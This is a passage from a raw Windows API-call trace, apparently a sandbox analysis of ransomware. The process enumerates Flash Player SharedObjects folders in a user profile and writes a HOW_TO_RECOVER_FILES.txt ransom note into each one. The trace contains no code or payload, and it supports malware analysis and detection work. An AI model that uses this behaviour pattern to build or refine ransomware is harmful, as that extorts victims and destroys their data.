ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0230.859] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.859] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0230.859] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.859] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0230.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0230.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0230.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0230.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net", lpFilePart=0x0) returned 0x72 [0230.859] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0230.860] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.860] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 1 [0230.860] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 0 [0230.861] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0230.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0230.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0230.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0230.861] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net", lpFilePart=0x0) returned 0x72 [0230.861] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0230.861] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.861] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 1 [0230.861] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204ea410 | out: lpFindFileData=0x204ea410*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.861] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0230.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea670) returned 1 [0230.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea630) returned 1 [0230.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0230.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", lpFilePart=0x0) returned 0x7a [0230.862] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0230.862] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.863] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="session.sol", cAlternateFileName="")) returned 1 [0230.863] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.863] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0230.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0230.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0230.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9d00) returned 1 [0230.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", nBufferLength=0x105, lpBuffer=0x204e97a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", lpFilePart=0x0) returned 0x7a [0230.863] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x204e9a20 | out: lpFindFileData=0x204e9a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0230.863] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.863] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="session.sol", cAlternateFileName="")) returned 1 [0230.864] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204e99e0 | out: lpFindFileData=0x204e99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="session.sol", cAlternateFileName="")) returned 0 [0230.864] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0230.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c40) returned 1 [0230.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9c00) returned 1 [0230.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204e9750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x93 [0230.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204e9c70) returned 1 [0230.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.865] GetFileType (hFile=0x864) returned 0x1 [0230.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e9be0) returned 1 [0230.865] GetFileType (hFile=0x864) returned 0x1 [0230.866] WriteFile (in: hFile=0x864, lpBuffer=0x36e5188*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204e9d38, lpOverlapped=0x0 | out: lpBuffer=0x36e5188*, lpNumberOfBytesWritten=0x204e9d38*=0x5d0, lpOverlapped=0x0) returned 1 [0230.866] CloseHandle (hObject=0x864) returned 1 [0230.867] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8b [0230.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea6a0) returned 1 [0230.867] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.867] GetFileType (hFile=0x864) returned 0x1 [0230.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ea610) returned 1 [0230.867] GetFileType (hFile=0x864) returned 0x1 [0230.868] WriteFile (in: hFile=0x864, lpBuffer=0x36e8b00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ea768, lpOverlapped=0x0 | out: lpBuffer=0x36e8b00*, lpNumberOfBytesWritten=0x204ea768*=0x5d0, lpOverlapped=0x0) returned 1 [0230.869] CloseHandle (hObject=0x864) returned 1 [0230.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0230.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0230.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.870] GetFileType (hFile=0x864) returned 0x1 [0230.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0230.870] GetFileType (hFile=0x864) returned 0x1 [0230.870] WriteFile (in: hFile=0x864, lpBuffer=0x36ec428*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x36ec428*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0230.871] CloseHandle (hObject=0x864) returned 1 [0230.871] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0230.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0230.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.872] GetFileType (hFile=0x864) returned 0x1 [0230.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0230.872] GetFileType (hFile=0x864) returned 0x1 [0230.873] WriteFile (in: hFile=0x864, lpBuffer=0x36efd20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x36efd20*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0230.874] CloseHandle (hObject=0x864) returned 1 [0230.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0230.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0230.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0230.874] GetFileType (hFile=0x864) returned 0x1 [0230.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0230.874] GetFileType (hFile=0x864) returned 0x1 [0230.875] WriteFile (in: hFile=0x864, lpBuffer=0x36f35e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x36f35e8*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0230.876] CloseHandle (hObject=0x864) returned 1 [0230.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0230.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0230.876] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0230.876] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.877] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0230.877] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0230.877] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0230.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0230.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0230.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0230.877] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0230.877] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0230.877] FindNextFileW (in: 